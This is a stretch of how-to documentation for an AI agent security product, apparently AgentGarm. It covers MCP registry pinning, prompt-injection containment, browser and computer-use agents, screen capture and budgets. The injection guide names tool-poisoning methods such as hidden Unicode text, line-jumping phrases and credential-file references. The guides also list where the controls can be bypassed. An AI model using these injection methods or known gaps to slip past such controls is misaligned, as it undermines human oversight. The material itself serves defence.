refuses a directory anyone but root can write, verifies the snapshot again, and prints its source, sequence, version count, upstream and the time it is valid until. Show the installed snapshot agentgarm mcp registry installed 5. Pin a version, or name it in policy agentgarm mcp registry pin turns one version of the installed snapshot into policy, in two forms. The first is the exact mcp.packages and mcp.servers entries package lockdown launches: the package, its exact version and its integrity, copied into your policy, where they no longer follow the registry. It is printed under a top-level mcp:, so nest it under security_boundaries: when you copy it into a policy. The second, printed as a comment, is an mcp.allow entry naming the server by its registry name, which agentgarm-session resolves against the installed snapshot at every launch, so a version deleted later is refused there. pin refuses (exit 2) a deleted version, a package whose integrity is unresolved, unpinnable or of an ecosystem lockdown does not launch, and anything but a stdio npm or PyPI package, and warns on a deprecated one. In the mcp.allow form, set version and namespace_kinds: without a version each launch takes the version the snapshot marks latest, if it is not deleted, which the lint reports as registry_latest, because anyone who can publish in the namespace then changes what runs. Turn a registry version into policy agentgarm mcp registry pin io.github.example-org/weather --version 1.4.0 A registry server named in policy security_boundaries: mcp: allow: # Resolved at each launch from the registry snapshot Central delivered: # the package, its exact version and its integrity all come from the snapshot. - registry: io.github.example-org/weather version: "1.4.0" id: weather namespace_kinds: [github] servers: # Settings for the registry server above: never a package or url. - id: weather sandbox: { egress_hosts: ["api.weather.example"] } See also Run MCP servers through the gatewayList the MCP servers an agent may use, pinned to a package and hash, and run each through the gateway, where agentgarmd decides every tool call first. 6. Withdraw a version Set the status of one of your org's own versions with registry server status; a mirrored version's status follows the next import. Central Lite signs the next snapshot, and once a machine installs it, a registry name resolving to a deleted version is refused at launch, even when the policy names that exact version; a deprecated one launches with an alert. Without a snapshot that verifies (none installed, an expired one, or one older than the last) no registry name resolves, and those servers do not launch. Delete one of your org's versions garm-central registry server status com.example.private/server-one 2.0.0 deleted --message "Replaced by 2.1.0" Next guide: Contain prompt injection in MCP tool outputpreviewAll how-to guides # Contain prompt injection in MCP tool output URL: https://agentgarm.com/docs/how-to/tool-injection Docs › How-to guides › Contain prompt injection in MCP tool output Guide 27 of 61 · Protecting secrets and data Contain prompt injection in MCP tool output Strip hidden text from MCP tool results, hold back poisoned tool descriptions, pin tool definitions, and limit what a hijacked agent can do next. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Have the MCP gateway strip what renders as nothing from tool results, hold back tool descriptions written to steer the model, pin each tool's definition so a changed one is caught, and write flow rules that stop a hijacked agent from sending a secret it read. AgentGarm does not claim to catch every injection: visible text in a result reaches the agent, so the rules on what it may do next are the part that holds. On this page 1.Know what is checked, and where 2.Let the gateway clean tool results 3.See poisoned tool descriptions held back 4.Pin tool definitions 5.Approve a new or changed tool 6.Limit what a hijacked agent can do 7.Know what it does not catch 1. Know what is checked, and where Runtime checks on tool output happen in the MCP gateway, so they cover only servers that run through it: set that up first. The gateway treats two kinds of text differently. Metadata (tool and prompt descriptions, input schemas and server instructions) is what a server uses to steer the model, so a suspicious entry is held back. Data (tool results, resource contents and prompt messages) is what the agent asked for, so it is never held back or reworded: it only loses characters that render as nothing. A web page or file the agent reads with its own tools does not pass through the gateway and is not read for injection. The files agents load at start (CLAUDE.md, rules, MCP configurations) are a separate scan, in the guide on poisoned configs. See also Catch poisoned agent configs before launchScan the instruction, settings, hook, plugin and MCP files your agents read for hidden text and auto-approval switches, and gate CI on the result. 2. Let the gateway clean tool results In every result and error the gateway relays, each text, description and title string loses terminal escape sequences, control characters and hidden characters: Unicode Tags, runs of variation selectors, zero-width characters and bidi overrides, the ways an instruction is hidden from a person but read by the model. Legitimate uses are kept, such as the joiner in an emoji sequence, Persian and Arabic joiners, and right-to-left marks. Nothing else changes, and a rewrite is logged rather than recorded as an event. An instruction written in plain, visible words in a result reaches the agent as written. 3. See poisoned tool descriptions held back Every tools/list and prompts/list reply, and the server's instructions, pass the filter before the agent sees them. A tool or prompt is dropped from the list when its text hides characters, tells the agent what to do (injection.imperative, including line-jumping phrases such as “before using any other tool”), names a credential file such as ~/.ssh (mcp.secret_path), asks for the user's password or token (mcp.credential_solicitation), gives orders about another tool (injection.cross_tool), claims to replace a built-in (injection.tool_shadowing), or has a name mixing Latin with Cyrillic or Greek letters (text.mixed_script). Each held-back tool is recorded with its detector ids and a hash of its definition, never its text. The dashboard's MCP screen lists them under its Tools tab, per task. The detectors are heuristics: a poisoned description in other words passes, and a server whose tool legitimately names a key file is held back, with no per-server exception yet. Open the dashboard agentgarm ui --open The dashboard's MCP screen: the task filter and rating, then a tab per kind of record, each gated call with its decision 4. Pin tool definitions agentgarmd keeps a hash of each tool's definition the first time the gateway offers it, per user, server version and tool, so a server that changes a tool after you trusted it is caught. Under security_boundaries.mcp, pin_tool_definitions sets what a changed definition does: alert (the default) records it and allows the tool, block quarantines it, and off keeps no pins. quarantine: strict goes further: every tool seen for the first time is quarantined until approved, a changed one always is, and a description naming a configuration location such as ~/.aws is held back too. A quarantined tool is dropped from the list, and a call to it is refused before the server sees it. In audit mode pins are kept and changes recorded, but every tool is allowed. If the pin store or agentgarmd cannot be reached when a list arrives, the list is refused (fail closed, enforced by agentgarm-session). Lint the policy and restart agentgarmd to load it. Pin tool definitions and quarantine first-seen tools, under security_boundaries.mcp pin_tool_definitions: alert quarantine: strict Lint your Claude Code policy, no-root install on Linux agentgarm policy lint ~/.config/agentgarm/agents.d/claude-code.yaml 5. Approve a new or changed tool On a root install with a presence key, the quarantined tools of one list become a single approval request: “Allow new or changed tool definitions of MCP server” with the server's id and the tool names. Approve it in agentgarm presence watch within its 30 seconds, and the agent sees the tools at its next tools/list. The record holds the two hashes, not the text, so read the server's release notes before you approve. A no-root install has no presence boundary: a quarantined tool stays quarantined until the policy changes. Receive approval requests agentgarm presence watch See also Approve risky actions with Touch IDEnrol a Touch ID key on your Mac and approve each command your policy asks about with your fingerprint, for that one call only. 6. Limit what a hijacked agent can do Since visible text gets through, write rules for what an agent does after reading it. flow_rules look at the classes of what the task tree did earlier, MCP calls and hooked commands together: with the rule below, a secret read followed by anything that reaches the network (an MCP tool classed network_egress, a curl, a git push or Claude Code's WebFetch) is denied. Flow rules need the task's history, which only an agent started with agentgarm run has; a session governed by hooks alone keeps none, so they do not fire there. The gateway also scans results for secrets under dlp.on_secret, and an ask rule puts a person in front of a risky call. Deny network access after a secret read, under security_boundaries.mcp flow_rules: - id: no-exfil deny: { after: secrets_read, tools: [network_egress] } See also Keep secrets and card numbers out of promptsSee which credentials your agent sends its model provider, have the proxy replace them with cache-safe placeholders, and deny tool calls that carry one. 7. Know what it does not catch The gateway rates MCP C on every platform and install until its configuration custody is proven by a live run. Outside the strict profile, a description poisoned from the first time it is seen is pinned as trusted. Resource descriptions, the text of a server's own requests, notifications, structuredContent and _meta are not cleaned, and a result over 4 MiB streams through unrewritten. None of this detects every hijack: it removes hidden instructions and narrows what a steered agent can reach. Check each task's assurance level agentgarm status See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. Next guide: Govern browser agentspreviewAll how-to guides # Govern browser agents URL: https://agentgarm.com/docs/how-to/browser-agents Docs › How-to guides › Govern browser agents Guide 28 of 61 · Protecting secrets and data Govern browser agents Put AgentGarm's browser shim in front of the browsers your agent launches, so each launch gets a fresh profile and its downloads wait in quarantine. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Put AgentGarm's browser shim in front of the browsers your agent launches through Playwright, Puppeteer or a browser command on PATH, so each launch gets a fresh profile instead of yours, automation reaches the browser through a mediated pipe, and downloads wait in quarantine; and know what the separate browser extension does for people pasting into AI chat sites. On this page 1.Know which part covers what 2.Turn on the browser boundary and launch through AgentGarm 3.Give each launch a fresh profile 4.Keep automation on the mediated pipe 5.Release downloads from quarantine 6.Catch secrets people paste into AI chat sites 7.Force-install the extension in managed browsers 1. Know which part covers what Two parts are built. The browser shim governs the browsers an agent launches through Playwright, Playwright MCP, Puppeteer or a browser command such as google-chrome; it is built but not yet claimed. The browser extension governs people pasting into AI chat sites in Chrome and Edge, not agents. Neither governs a computer-use agent that drives the desktop rather than a browser: that is the computer-use posture and its airbag, on macOS. See also Govern computer-use agentsLet an agent drive your Mac's mouse and keyboard while AgentGarm's airbag drops its input on password managers, settings and other protected targets. 2. Turn on the browser boundary and launch through AgentGarm agentgarm run puts the shim in front of the agent's browsers only when the agent's policy has a security_boundaries.browser section, or AgentGarm's config.toml sets shim = true under [browser]. It then points PUPPETEER_EXECUTABLE_PATH, PLAYWRIGHT_MCP_EXECUTABLE_PATH and CHROME_PATH at the shim, gives the task its own Playwright browsers directory whose browsers are the shim, and puts shim commands named google-chrome, chromium, msedge, firefox and others first on PATH. If the shim is not installed beside agentgarm, or those directories cannot be made, the launch goes on without it: you are told, and the task is demoted to C. A browser boundary for Claude Code security_boundaries: # With this section set, `agentgarm run` puts the browser shim in front of # the browsers the agent launches through Playwright, Puppeteer or a browser # command on PATH. browser: # Runtime.evaluate on the pipe: allow, alert (the default: forwarded and # recorded), ask or deny (both refused). runtime_evaluate: alert # Downloads go to quarantine (the default). download_quarantine: true # --disable-quic on every governed launch (the default). quic: disabled # Refuse --remote-debugging-port, so automation uses the pipe (the default). allow_remote_debugging_port: false Launch Claude Code with the browser shim agentgarm run -- claude 3. Give each launch a fresh profile Every browser the shim starts gets the task's own empty profile (--user-data-dir on Chromium-family browsers, -profile on Firefox), which agentgarmd removes when the task ends. A launch that names one of your real profiles (Chrome, Chromium, Edge, Brave, Arc or Firefox), by path, through a symlink into one, through a variable such as PUPPETEER_USER_DATA_DIR, or with --profile-directory and no directory of its own, is refused and recorded, and no browser starts. A real profile carries your live session cookies, saved passwords and WebAuthn state, so an agent using it would act as you on every site you are signed in to. Under agentgarm run the sandbox also denies those directories whatever binary the agent runs, which rates B; in a hooks-only session it rates C. See also Limit what an agent can read, write and reachDecide which files an agent may read and write and which hosts it may reach, know which layer holds each rule, and recognise a denial. 4. Keep automation on the mediated pipe The shim inspects the DevTools protocol only on --remote-debugging-pipe, for Chromium-family browsers. Unless the policy sets allow_remote_debugging_port: true, it refuses --remote-debugging-port (Puppeteer's default, so launch Puppeteer with pipe: true), Firefox's Juggler pipe, Marionette and debugger server; an allowed port passes through unmediated. On the pipe, deny_methods and allow_methods list methods, and runtime_evaluate, runtime_call_function_on and add_script_on_new_document each take allow (forwarded), alert (the default: forwarded and recorded), or ask or deny, both refused, since the pipe cannot wait for an answer. Synthetic keyboard and mouse input is recorded as synthetic. This rates C: an agent that runs the real browser binary directly bypasses the shim. On Windows there is no pipe relay, so the browser runs with its fresh profile only. 5. Release downloads from quarantine With download_quarantine on (the default), every download goes to a staging directory of the task's. When one completes, agentgarmd copies it into its own quarantine, outside every agent sandbox, hashes and scans the copy for secrets, and removes the staged file; until then the download in progress is readable by the agent. To release one, run agentgarm-browser-shim --agentgarm-release-download from your own terminal outside the task, with the download's id, a destination directory and its quarantine directory: agentgarmd's own, browser-quarantine// under its state directory, not the staging directory, which is refused. Release needs a presence approval, so it works only on a root install with a presence key enrolled, and it takes two runs: the first is refused with a challenge id; approve it, then run the same command again with --approval-id and that id. agentgarmd then checks the hash and scan again and writes the file without replacing one. A download that matched a secret rule is never released. With quic: disabled (the default), every governed browser starts with QUIC off. See also Approve risky actions with Touch IDEnrol a Touch ID key on your Mac and approve each command your policy asks about with your fingerprint, for that one call only. 6. Catch secrets people paste into AI chat sites The extension checks a paste or drop into ChatGPT, Claude, Gemini or DeepSeek before the page sees it, and the whole prompt again at submit, with the same secret rules as the hooks and the proxy. In default.yaml, browser.on_secret says what a finding does: alert, block, or redact, which replaces a pasted secret with a placeholder and blocks at submit; in audit mode it is always alert. agentgarmd signs this into a policy the extension checks against this machine's key, pinned through the browser's managed policy. Until that key is pinned, the extension never asks the host and uses the on_secret of the browser's managed policy instead. Its rule packs (chat sites and literal patterns, data only) are signed and accepted only under a key pinned the same way; with none pinned, only the rules bundled in the extension apply, and no AgentGarm key for public packs exists yet. The extension is not yet in the Chrome and Edge stores; the managed-policy templates are in share/agentgarm/mdm/. It rates C, since a person can turn it off or use another browser. What a pasted secret does browser: on_secret: redact The browser extension's popup over an AI chat site: the policy and rules in force, then the recent findingsSee also Keep secrets and card numbers out of promptsSee which credentials your agent sends its model provider, have the proxy replace them with cache-safe placeholders, and deny tool calls that carry one. 7. Force-install the extension in managed browsers The extension reaches people through their browser's managed policy, which an MDM, Group Policy or the Linux policy directories set. share/agentgarm/mdm/fill.sh fills the templates from extension.env beside it (the store ids, update URLs and ON_SECRET; an environment variable of the same name overrides a line) and installs nothing: it writes, for Chrome and Edge, the Linux policy JSON, the macOS configuration profiles and the Windows .reg and ADMX files, each force-installing the extension, allowing the native-messaging host com.agentgarm.nm_host, turning QUIC off and setting on_secret. Until the store listings exist the ids in extension.env are empty, so set them yourself. Two parts are per host. --node-pub with that host's node.pub, from agentgarmd's state directory, writes a second file pinning its node key, which lets the extension take its policy from agentgarmd; --host-path fills the native-messaging host's manifest, which you copy into the browser's native-messaging directory (for Chrome on Linux, /etc/opt/chrome/native-messaging-hosts/), and its allowed-origins file, which goes over the one agentgarm-nm-host reads in share/agentgarm/native-messaging/ beside its bin/; until it names the extension, the host serves nothing. On macOS only a profile an MDM installs is mandatory, and on Windows a browser outside a domain, Entra ID or Chrome Enterprise Core does not force-install an extension from outside the store. Fill the managed-browser templates for one Linux host, root install CHROME_EXTENSION_ID= EDGE_EXTENSION_ID= ON_SECRET=block /share/agentgarm/mdm/fill.sh --out mdm --node-pub /var/lib/agentgarm/node.pub --host-path /bin/agentgarm-nm-host sudo cp mdm/linux/chrome/*.json /etc/opt/chrome/policies/managed/ sudo cp mdm/native-messaging/com.agentgarm.nm_host.json /etc/opt/chrome/native-messaging-hosts/ sudo cp mdm/native-messaging/allowed-origins /share/agentgarm/native-messaging/ Next guide: Govern computer-use agentspreviewAll how-to guides # Govern computer-use agents URL: https://agentgarm.com/docs/how-to/computer-use Docs › How-to guides › Govern computer-use agents Guide 29 of 61 · Protecting secrets and data Govern computer-use agents Let an agent drive your Mac's mouse and keyboard while AgentGarm's airbag drops its input on password managers, settings and other protected targets. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Keep launched agents away from the desktop by default, and where an agent or an MCP server must drive it, run it in the computer-use posture: AgentGarm's airbag watches every synthetic click and key press, drops those aimed at password sheets, password managers, System Settings and the targets you add, or asks you with Touch ID, and the task stops whenever the airbag can't watch. macOS only. On this page 1.Know which part covers what 2.Keep launched agents contained, and check it 3.Install the airbag and grant it Accessibility 4.Turn on computer use in audit mode, and launch 5.Read what would have been dropped, and open what you need 6.Move to enforce, with drop or ask 7.Approve a desktop ask with Touch ID 8.See why a task was suspended, and get it going again 9.Remove the airbag 1. Know which part covers what There are three postures. Contained, the default for every agent and MCP server agentgarm run launches, gives no desktop input, screen capture, accessibility, pasteboard or Apple Events at all; the sandbox enforces it, which rates B. Computer use, which you turn on per agent or per MCP server, lets the task post input and capture the screen while the airbag drops its input on protected targets: B with a Developer ID build and accessibility and Apple Events left denied, C otherwise. Unlaunched covers desktop apps, hooks-only agents and your own tools, under the host rule unlaunched in default.yaml (off by default), and rates C. None of them stops an accessibility action by an unsandboxed process that holds the Accessibility grant, an Apple Event sent through an app you have allowed to control another, or anything an agent does inside a virtual machine of its own. This is built for macOS only, and not yet claimed; no CI walk runs these steps, since they need a Mac's login session, Touch ID and its privacy grants. See also Govern browser agentsPut AgentGarm's browser shim in front of the browsers your agent launches, so each launch gets a fresh profile and its downloads wait in quarantine. 2. Keep launched agents contained, and check it Launch the agent through agentgarm run and leave its policy without a security_boundaries.desktop section: it runs contained, so a script it writes cannot click, type, read the screen or the pasteboard, or script another app. agentgarm doctor checks the sandbox backend (Seatbelt) the posture rests on. Most agents need nothing more; go on only for one whose job is to drive the desktop. Launch Claude Code contained agentgarm run -- claude Check the sandbox backend agentgarm doctor See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. 3. Install the airbag and grant it Accessibility The airbag, AgentGarm Airbag, is a small background app (no Dock icon) that runs in your login session under its own LaunchAgent, com.agentgarm.airbag, and holds the Accessibility grant and nothing else. sudo agentgarmd install --airbag installs it for every user and starts it in each logged-in session; agentgarmd install --airbag --user installs it for you alone, beside a no-root install. Re-running the install restarts it, which is how an upgrade takes effect. On its first run macOS asks once for Accessibility. Allow it in System Settings, Privacy & Security, Accessibility. Until it is granted, agentgarm doctor fails its airbag check and names the grant, and every computer-use task is refused or stopped. macOS keeps the grant only for a binary signed by the same identity: after a rebuild signed another way, such as a development build, remove every AgentGarm Airbag row from that list (and any older agentgarm-airbag row, from a build before the app) and add it again with + (an old row stays switched on but no longer matches). A Mac managed by an MDM can grant it with the profile template share/agentgarm/mdm/macos/agentgarm-pppc-airbag.mobileconfig; whether macOS then skips the prompt is not yet shown. Install the airbag for every user sudo agentgarmd install --airbag Install it for yourself, beside a no-root install agentgarmd install --airbag --user Check that the airbag is live agentgarm doctor 4. Turn on computer use in audit mode, and launch preview In the agent's policy, set security_boundaries.desktop.posture: computer_use and keep mode: audit. Leave accessibility, apple_events and clipboard at deny unless the agent truly needs them: with accessibility or Apple Events open, its input no longer has to pass the airbag, and the task rates C. Restart agentgarmd, which reads policies only when it starts (until then agentgarm status shows the file as NOT LOADED and the agent launches contained), then launch it with agentgarm run. In audit mode the task starts even without a live airbag, demoted to C. To give the desktop to one MCP server rather than the agent, keep the agent contained and set desktop on that server under mcp.servers; the gateway launches it in its own computer-use sandbox. Only a stdio server can have one. Computer use for Claude Code, in audit mode security_boundaries: desktop: # Let the agent post input and capture the screen, under the airbag. posture: computer_use input: # On a protected target: drop (the default), ask (drop, then a Touch ID # grant for 60 seconds) or alert (pass and record). on_protected: ask # Tools that post input for you, by code requirement: their input passes. allowed_posters: - 'identifier "com.agilebits.onepassword7" and anchor apple generic' # Your own targets, on top of the catalog's. extra_protected: - { bundle_id: com.example.payroll, reason: "pay runs" } # A catalog target this agent needs; built-in ones cannot be opened. allow_targets: - { bundle_id: com.apple.Terminal, reason: "the agent runs its own tests here" } # Keep the agent off AX, Apple Events and the pasteboard: input then # reaches the desktop only through the airbag's tap. accessibility: deny apple_events: deny clipboard: deny Computer use for one MCP server, the agent contained security_boundaries: desktop: posture: contained input: { on_protected: drop } capture: { on_sensitive_frontmost: alert } mcp: packages: - { ecosystem: npm, name: "@example/computer-use-mcp", version: "0.3.1", integrity: "sha512-AAAA" } servers: - id: computer-use package: "@example/computer-use-mcp@0.3.1" desktop: { posture: computer_use, accessibility: deny, apple_events: deny, clipboard: deny } Check the policy agentgarm policy lint claude-code.yaml Restart agentgarmd so it reads the policy sudo launchctl kickstart -k system/com.agentgarm.agentgarmd # root install launchctl kickstart -k gui/$(id -u)/com.agentgarm.agentgarmd # no-root install Launch Claude Code in the computer-use posture agentgarm run -- claude 5. Read what would have been dropped, and open what you need In audit mode the airbag passes what it would drop and records it. Open the task in the dashboard: each record is a desktop input event naming the app, the element's role and title (as the app supplies it, at most 80 characters), the poster, and the action enforce would have taken. Only events on protected targets are recorded, never what was typed, and never a key's value. The catalog protects password and authorization sheets, AgentGarm's own app and dashboard, Keychain Access, Passwords, System Settings, Bitwarden, Disk Utility, Finder's Empty Trash, destructive buttons in any app, and synthetic keys into Terminal. Add your own with extra_protected; open a catalog target this agent needs with allow_targets (the built-in ones cannot be opened); and list tools that post input for you, such as a password manager's autofill, in allowed_posters by code requirement, but only tools no agent can script. Open the dashboard agentgarm ui --open See also Trace what one agent task didFind an agent's task in the dashboard, read every decision its policy made with the rule behind it, and follow the run from first decision to last. 6. Move to enforce, with drop or ask Set mode: enforce and restart agentgarmd again. on_protected then says what happens to synthetic input on a protected target: drop (the default) discards it; ask discards it and asks you to allow that element for 60 seconds; alert lets it through and records it. The agent is not told: it sees a screen that did not change. In enforce mode agentgarm run refuses a computer-use task while your airbag is not live, saying that the posture needs one, and a running task stops whenever the airbag stops answering or loses its grant. This is the posture's fail-closed path, enforced by agentgarmd. Check the policy before it takes effect agentgarm policy lint claude-code.yaml Restart agentgarmd so it reads the policy sudo launchctl kickstart -k system/com.agentgarm.agentgarmd # root install launchctl kickstart -k gui/$(id -u)/com.agentgarm.agentgarmd # no-root install The airbag drops an agent's synthetic click on a protected app's button, and records the dropSee also Watch your agent for a week, then enforceStart a policy in audit mode, see what enforcing it would have blocked in your own history, fix the rules that get in the way, then switch it to enforce. 7. Approve a desktop ask with Touch ID With on_protected: ask, a dropped click or key press raises a Touch ID prompt in agentgarm presence watch, such as: allow task … to click AXButton "Empty Trash" (title supplied by the app) in com.apple.finder for 60 seconds? Posted by python3. Approve it and the agent's next attempt on that element passes, for that task only, for 60 seconds. A click loop raises one prompt, a task gets at most three prompts a minute and eight grants at once, and input from a process in no task is only dropped. Asking needs a root install with a presence key enrolled; on a no-root install the drop stands. Start the watcher agentgarm presence watch See also Approve risky actions with Touch IDEnrol a Touch ID key on your Mac and approve each command your policy asks about with your fingerprint, for that one call only. 8. See why a task was suspended, and get it going again A suspended task is stopped, its processes and everything they started, and every decision it asks for is denied with "this task is suspended". agentgarm status marks it SUSPENDED with each hold that keeps it stopped; the dashboard's runs show it as suspended. A task runs again only when its last hold is lifted, and a process you stopped yourself (Ctrl-Z) stays stopped. airbag means your airbag stopped answering, lost Accessibility, or its tap was turned off: fix what agentgarm doctor names, and the hold lifts once the airbag is back. sensitive_frontmost lifts when the sensitive app leaves the front. breach is a budget or loop breach, and order a kill order across the fleet (Stop agents across a fleet), which only its lift removes. Holds survive a restart of agentgarmd. Root can also remove an airbag, sensitive_frontmost or breach hold by hand, from outside every governed task: sudo agentgarm task resume with the task's id and --hold and its name. It answers with the holds still left, and refuses an order's. Resume is not built on Windows yet. For every kind of hold and who lifts it, see Find out why your agent stopped. Show each task's holds agentgarm status Check the airbag agentgarm doctor Remove one hold by hand, as root sudo agentgarm task resume --hold airbag See also Watch what agents can captureSee which agents can capture your Mac's screen, and alert, pause or end a task when a password manager or other sensitive app comes to the front. 9. Remove the airbag First take posture: computer_use out of every policy, or those tasks are refused. sudo agentgarmd uninstall --airbag (or agentgarmd uninstall --airbag --user for your own) stops it in each session and removes its LaunchAgent; uninstalling AgentGarm removes it too. Then remove AgentGarm Airbag from System Settings, Privacy & Security, Accessibility. A running agent cannot do this for you: stopping or removing an AgentGarm LaunchAgent and resetting privacy grants are denied to every governed task. Remove the airbag for every user sudo agentgarmd uninstall --airbag Remove your own agentgarmd uninstall --airbag --user Next guide: Watch what agents can capturepreviewAll how-to guides # Watch what agents can capture URL: https://agentgarm.com/docs/how-to/screen-capture Docs › How-to guides › Watch what agents can capture Guide 30 of 61 · Protecting secrets and data Watch what agents can capture See which agents can capture your Mac's screen, and alert, pause or end a task when a password manager or other sensitive app comes to the front. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Know which of your agents can capture the screen, by the computer-use posture or by a Screen Recording grant, and choose what happens when a password manager, Keychain Access, System Settings or an app you name comes to the front while one runs: an alert, a pause until the app leaves, or the end of the task. macOS only. On this page 1.Know what the monitor can and can't see 2.See which agents hold a grant 3.Name your sensitive apps 4.Choose alert, pause or kill 5.Read a capture alert 6.Limit grants in System Settings, or with an MDM 7.Know what still leaves the machine 1. Know what the monitor can and can't see The capture monitor knows which tasks can capture the screen, never whether one is capturing: macOS shows no other process's capture, and AgentGarm never reads a frame. A task can capture when it runs in the computer-use posture, or when the agent, or the terminal or editor it runs in, holds the Screen Recording grant. AgentGarm learns of grants from its Endpoint Security client, which reads the system's privacy database; an install without it, such as a tarball install, knows only the first kind. A launched agent left contained cannot capture at all, which the sandbox enforces (B). Everything the monitor does after that rates C: it reacts to a change after it happens, so its fail mode is fail_open_alert. Built for macOS only, and not yet claimed; no CI walk runs these steps. See also Govern computer-use agentsLet an agent drive your Mac's mouse and keyboard while AgentGarm's airbag drops its input on password managers, settings and other protected targets. 2. See which agents hold a grant Every change to a governed task's Screen Recording, Accessibility, input-monitoring or input-posting grant is recorded for the task and shown as an alert in the dashboard. A grant to the terminal or editor an agent runs in counts as the agent's, since what it runs inherits it. If AgentGarm cannot read the privacy database (no Full Disk Access for its Endpoint Security client, or a layout it does not know), it reports no grants rather than guessing, and logs that once. Open the dashboard agentgarm ui --open 3. Name your sensitive apps The catalog names Keychain Access, Passwords, System Settings and Bitwarden. Add your own with extra_sensitive, by bundle id, under security_boundaries.desktop.capture. While a task that can capture runs, the airbag tells agentgarmd only when an app on this list comes to the front or leaves it, and never names any other app. A sensitive website in a browser is not an app, so it is not covered. Restart agentgarmd after editing the policy: it reads policies only when it starts. Pause Claude Code while a sensitive app is in front security_boundaries: desktop: posture: computer_use capture: # When a sensitive app comes to the front while this agent can capture: # alert (the default: record it), pause (stop the task until the app # leaves) or kill (end the task). pause and kill need `agentgarm run`. on_sensitive_frontmost: pause # Your own sensitive apps, on top of the catalog's. extra_sensitive: [com.example.payroll, com.example.hr-portal] See also Govern computer-use agentsLet an agent drive your Mac's mouse and keyboard while AgentGarm's airbag drops its input on password managers, settings and other protected targets. 4. Choose alert, pause or kill on_sensitive_frontmost applies once each time a sensitive app comes to the front. alert (the default) records it. pause stops the task, its processes and everything they started, until the app leaves the front, and denies whatever it asks for meanwhile; the task runs again only if nothing else holds it. kill ends the task. pause and kill need a task launched with agentgarm run; for a hooks-only agent they stay alert. In mode: audit both only record. The pause comes after the change, so a frame taken in that moment is not stopped. A paused task shows its sensitive_frontmost hold in agentgarm status. Root can remove it by hand with sudo agentgarm task resume, the task's id and --hold sensitive_frontmost; the task runs again only once no other hold, such as a kill order's, is left. Resume is not built on Windows yet. Show whether a task is paused, and why agentgarm status An agent that can record the screen, flagged and paused while a password manager is in front, with the notice that says soSee also Find out why your agent stoppedTell whether your agent was suspended, killed, locked out by a kill order or stopped by its budget, get your work back, and find out who can lift it. 5. Read a capture alert In the dashboard, a capture alert is titled by what happened, such as "Sensitive app in front during capture: task paused", with the app as its detail and the task it belongs to. With the presence menu or agentgarm notices running, it also arrives as a notification that names what happened but not the app. Under the non_monitoring compliance profile the app is left out of the record too. Open the dashboard agentgarm ui --open Follow alerts in a terminal agentgarm notices See also Prepare a works-council or DPIA packGenerate templates that describe what your deployment collects, keeps and sends, and switch the fleet to the non-monitoring profile during talks. 6. Limit grants in System Settings, or with an MDM The surest control is fewer grants. In System Settings, Privacy & Security, Screen & System Audio Recording, turn off every app that does not need it, terminals and editors that run agents first, since an agent inherits their grant. On a managed Mac, a privacy preferences (PPPC) profile from your MDM can deny Screen Recording to an app; macOS lets no profile grant it without the person allowing it. 7. Know what still leaves the machine A computer-use agent sends its screenshots to its model provider, as images in its requests, whatever this monitor does. AgentGarm's redaction finds secrets in text, not in pictures, so anything on screen while the agent takes a screenshot may reach the provider. Keep sensitive apps closed, or use pause, while such an agent runs. See also Keep secrets and card numbers out of promptsSee which credentials your agent sends its model provider, have the proxy replace them with cache-safe placeholders, and deny tool calls that carry one. Next guide, in Cost: Set spend budgets and stop runaway loopsAll how-to guides # Set spend budgets and stop runaway loops URL: https://agentgarm.com/docs/how-to/budgets Docs › How-to guides › Set spend budgets and stop runaway loops Guide 31 of 61 · Cost Set spend budgets and stop runaway loops Give each agent task a cost budget and a token rate, see what the agent meets at the cap, and stop loops and runaway subagents with limits of their own. Give each agent task a cost budget and a token rate, know how each model call is held against the budget before it is sent and charged once its price is known, recognise what the agent sees when it reaches the cap, and stop loops and runaway subagents with limits of their own. On this page 1.Put a budget in the policy 2.Launch the agent through the proxy 3.Know how each call is held and settled 4.Recognise the cap 5.Stop runaway loops 6.Limit agent swarms 1. Put a budget in the policy The default packs carry no budget. Add a circuit_breaker under security_boundaries of your agent's policy: max_cost_usd_per_task is the budget in US dollars, max_tokens_per_minute a token rate over a sliding minute, and on_limit_breach what happens to the task once the budget is spent (suspend_and_alert or kill); left unset, a spent budget only refuses the calls and the task keeps running. With scope: task_tree, the default, the task and its subagents share one budget; with task, each has its own. Costs come from the versioned price catalog, so the policy holds no prices. Lint the policy and restart agentgarmd, which reads it only when it starts. The samples are for a no-root install on Linux; the first guide has the macOS and root variants. While the policy is in mode: audit, a breach is recorded but nothing is refused, suspended or killed. A five-dollar budget for the task tree security_boundaries: circuit_breaker: # One budget for the task and its subagents (task: each task its own). scope: task_tree max_cost_usd_per_task: 5.00 max_tokens_per_minute: 200000 on_limit_breach: suspend_and_alert Lint your Claude Code policy, no-root install on Linux agentgarm policy lint ~/.config/agentgarm/agents.d/claude-code.yaml Restart agentgarmd, no-root install on Linux systemctl --user restart agentgarmd Checked by the walk: these commands ran as written on a no-root Linux install. See also Watch your agent for a week, then enforceStart a policy in audit mode, see what enforcing it would have blocked in your own history, fix the rules that get in the way, then switch it to enforce. 2. Launch the agent through the proxy A budget binds the model calls agentgarm-session's proxy can hold, which are calls it can attribute to a task. agentgarm run sets ANTHROPIC_CUSTOM_HEADERS so that Claude Code sends its task id with every call. A call that names no task, such as one from Codex, takes the task of the process that made it, so it is held all the same; a call from a process in no task, or whose process cannot be found, is recorded but not held. Subscription traffic is never proxied, so a budget counts API-key and gateway-key calls only. How firmly this holds depends on the platform. On macOS the sandbox lets the agent reach the network only through the proxy, which rates the model-call class B. On Linux, egress through the proxy is best effort, so model calls rate C. On either, the task id is the agent's own claim, honoured only from a process inside that task: an agent that names another task's id cannot spend that task's budget, but its own calls then go unattributed and escape its holds, though they are still recorded. Run Claude Code governed agentgarm run -- claude Check each task's assurance level agentgarm status Checked by the walk: these commands ran as written on a no-root Linux install. See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. 3. Know how each call is held and settled Before forwarding a call, the proxy asks agentgarmd to hold its estimated cost: the request's input at about four bytes a token plus its output ceiling, priced from the catalog, or the running average cost of the calls under the same budget when that is larger or the model is not priced. When the response ends, the call's catalog-priced cost settles the hold, once. A billed call without a complete price is charged at least 